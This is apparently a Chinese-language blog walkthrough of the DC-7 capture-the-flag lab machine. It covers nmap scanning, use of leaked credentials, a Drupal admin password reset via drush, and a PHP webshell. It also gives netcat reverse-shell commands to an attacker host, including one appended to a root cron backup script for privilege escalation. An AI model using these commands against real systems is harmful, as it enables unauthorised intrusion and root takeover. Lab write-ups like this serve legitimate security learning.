dc-7打靶日记

1. nmap扫描

1.1 确认目标ip地址

1
sudo nmap -sN 192.168.31.0/24

image-20240531210756511

通过开关靶机查看以及通过MAC地址的标识可以确定目标靶机的ip地址

目标靶机ip地址:192.168.31.170

1.2 目标开放TCP端口

1
sudo nmap -sT --min-rate 10000 -p- 192.168.31.170 -oA nmapscan/tcpports

image-20240531211134496

开放tcp端口为:22,80

1.3 目标开放UDP端口

1
sudo nmap -sU --top-ports 20 192.168.31.170 -oA nmapscan/udpports

image-20240531211142143

udp留着备用,一般用不上,走走形式

1.4 开放TCP端口详细信息

1
sudo nmap -sT -sV -sC -O -p22,80 192.168.31.170 -oA nmapscan/tcpports_Detail

image-20240531212717884

扫到了robots.txt,robots.txt 是一个用于网站根目录的文本文件主要作用是告诉搜索引擎爬虫(例如 Googlebot)哪些页面或文件不应被抓取或索引。

所以我们可以通过该文件去获取网站目录信息,从而绕过目录爆破的过程

还有就是Drupal 8

其他信息主要就是操作系统相关的信息Linux3.2-4.9,这种信息一般没办法起到多大的作用

1.5 nmap漏洞扫描

1
sudo nmap -script=vuln -p22,80 192.168.31.170 -oA nmapscan/vuln

image-20240531213459779

image-20240531213715813

扫到了一堆CSRF,没用还有就是robots.txt,端口详细扫描已经扫到了;还有扫到了Drupal version,这个有用,能够确定cms还有一个readme文件,可以看看

/rss.xml

/robots.txt

/INSTALL.txt

/README.TXT

2. 信息检索

2.1 网页框架信息

  • 目录结构

image-20240602192859842

  • 指纹信息

image-20240602192935409

  • 靶场提示
    image-20240603135338545

靶场的提示说:

dc-7引出了一些新概念,但是我想让你找出来那么新概念 :-)

然而这个靶场并不是所有的都是技术问题,可能你也需要求助于暴力破解和字典攻击,可能并不会成功

去思考怎么跳出这个盒子是你必须要做的,跳出盒子的方法。:-)

怎么说呢,意思就是想说我们不要被传统固执的思维给囚禁吧,不要老是尝试技巧绕过的东西,有时候可能就是暴力破出来的,或者直接翻找资源找出来的.尝试找一下源码,最好是通过各种作者信息和版本寻找,因为drupal 8,可以尝试找找源码分析也可以找作者的相关博客等分析

2.2 作者信息检索

image-20240603165133089

因为这个位置暴露了作者的信息,我们可以直接通过搜索引擎搜索该作者及相关信息内容。

image-20240603165225007

可以看到其相应的github账户,通过检索github仓库的信息内容,最后可以在该文件啊中找到相应的账号和密码,但是并不知道有什么作用

image-20240603165328829

username=dc7user

password=MdR3xOgB7#dW

可以对数据库、ssh和后台管理系统分别进行登录尝试

系统后台登录失败;

image-20240603165515214

尝试两边,数据库登录失败

image-20240603165812635

尝试ssh登录,ssh成功登录

image-20240603165944627

这里我们先跳转到[3.1 命令提权](##3.1 dc7user用户命令提权)进行尝试命令提权

2.3 信息收集

欸嘿,刚才执行exit退出的时候发现点不一样的东西

image-20240618104736730

什么?它说:“You have new mail in /var/mail/dc7user”

这不得去看看?

image-20240618105214173

看了一下,好像是dc7user用户执行命令操作的记录

image-20240618110706143

这似乎是root用户备份网页的文件,且通过/opt/scripts/backups.sh执行进行备份,查看一下该脚本是否存在可利用的地方;因为我并没有执行该命令又记录到了dc7user的邮箱中,所以查询了一下该文件夹的功能,发现;

image-20240618112546943

原来Cron是定时任务的意思,又学到了新东西

那么邮箱的内容也就清晰了,就是说root用户设置了一个定时任务,定时备份网页内容;

image-20240618112719267

查看脚本的内容可以知道里面执行了挺多的命令的,其中比较迷惑的命令有drushgpg

image-20240618112831869

image-20240618112852432

ok清晰,加密命令可以不管,八成用不上,drush命令,这个有用,说不定dc7user用户可以执行呢;查查看能不能修改密码什么的

1
which drush

image-20240618113159753

ok,查到命令所在路径了,没有问题,可以执行该命令;

image-20240618113233867

drush命令也可以修改管理员密码,那么我们来到/var/www/html/目录下,执行相应命令修改admin管理员密码登录后台

1
drush user-password admin --password="adminadmin233"

image-20240618113418385

成功啦!冲冲冲~!

image-20240619124336682

至此,成功登录后台管理系统;

后续想要找到能够写入一句话木马的地方,但是添加内容时的文本解析并没有能够解析php语言;

image-20240619124419340

由于缺乏php语言解析,这个可以再extend插件中进行下载补充

image-20240619125625630

image-20240619125641160

image-20240619125739547

image-20240619125754210

image-20240619125808153

这里可以找到所有版本的php解析,然后我们找到其中一个支持drupal 8的进行查看下载

image-20240619125902785

image-20240619125918219

右键复制连接即可得到下载连接,然后我们粘贴到相应的地方进行下载安装即可。

https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

image-20240619130006579

image-20240619125535862

安装完毕以后,我们再搜索框输入php,然后选中PHP Filter安装到该网页中;

image-20240619130139137image-20240619130236399

再次回到内容发布网页即可看到存在php语言解析的内容了,那么我们就可以再这里发布一句话木马进行解析了;

我们直接对它本身的首页进行编辑,加入一句话木马,并修改为php语言解析;(也可以直接使用php语言反弹shell脚本)

image-20240619132213367

image-20240619132437930

使用蚁剑测试连接效果

image-20240619132330499

image-20240619132449490

使用蚁剑的虚拟终端向攻击机反弹一个shell

1
nc 192.168.31.221 5555 -e /bin/bash	#攻击机监听5555端口

image-20240619133323902

这里我们就已经成功的拿到了www-data用户的权限,这时候我们来到[3.2 命令提权](##3.2 www-data用户命令提权)

3. 提权

3.1 dc7user用户命令提权

首先查看是否存在可以进行提权的命令

1
find / -perm -u=s -type f 2>/dev/null

image-20240618102722969

可以发现存在可能可以提权的命令有exim4mountpasswd等等可以尝试

毫无以为的是:mount和passwd完全不可能成功

查看一下exim4的版本,说不定可以和dc5一样提权成功

image-20240618103131822

可以知道exim4的版本是4.89

可以通过searchsploit查看一下是否存在该版本exim4的漏洞

1
searchsploit exim 4

image-20240618103255563

可以看到确实是又存在该版本的exim4的本地提权漏洞的

将该漏洞下载到本地并启动apache2服务,并将其复制到web目录下让目标机器下载该攻击脚本

1
2
3
searchsploit -m 46996.sh
cp 46996.sh /var/www/html/
systemctl start apache2

image-20240618103947357

1
2
wget http://192.168.31.221/46996.sh
chmod +x 46996.sh

image-20240618104145331

尝试执行获取最高权限

1
2
./46996.sh -m setuid
./46996.sh -m netcat

image-20240622005509648

似乎并没有成功,尝试一下其他办法吧,这条路就先到这把。继续从该用户收集信息进行提权回到[2.3 信息收集](##2.3 信息收集)

3.2 www-data用户命令提权

与上述的用户提权命令相似,也可以发现exim4命令,再次尝试同样的方式进行提权,好吧,又失败了

image-20240619134203755

3.3 backups.sh文件

还记得刚才这种图嘛,这个脚本似乎是以root用户的身份进行执行的

image-20240618110706143

然后通过查看www-data用户对backups.sh文件的权限,发现可写可读可执行

image-20240619135038988

那么我们向其中写入一个反弹shell命令,将root权限的shell反弹至我们的攻击主机即可

1
echo "nc 192.168.31.221 22222 -e /bin/bash" >> backups.sh

image-20240619135258456

攻击机监听22222端口,等待反弹shell(不能由www-data用户执行,因为由该用户执行反弹回来的shell依旧是www-data用户)

1
nc -lvvp 22222

image-20240619135841089

通过观察邮件中的时间规律可知,root用户大概是15分钟执行一次这个定时任务,所以我们只需要等待15分钟,shell自然就反弹回来了

image-20240619140155733

成功反弹回来了root的权限

1
2
find / -name *flag*
cat /root/theflag.txt

image-20240619140247697

4. 总结

  1. 注意一些特殊的文件可能存在root定时执行
  2. 一些脚本文件中可能存在可以利用的地方
  3. 后台管理系统最重要的就是能够获取webshell,拿到站点才有机会进一步提权
  4. 命令提权可能没有效果,可以想象其他的办法,但是也需要进行尝试
  5. 信息检索非常重要,去获取一个系统中比较重要的信息脚本,连接它们之间的关联性进行利用。

dc-7打靶日记
http://candyb0x.github.io/2024/06/19/dc-7打靶日记/
作者
Candy
发布于
2024年6月19日
更新于
2024年6月22日
许可协议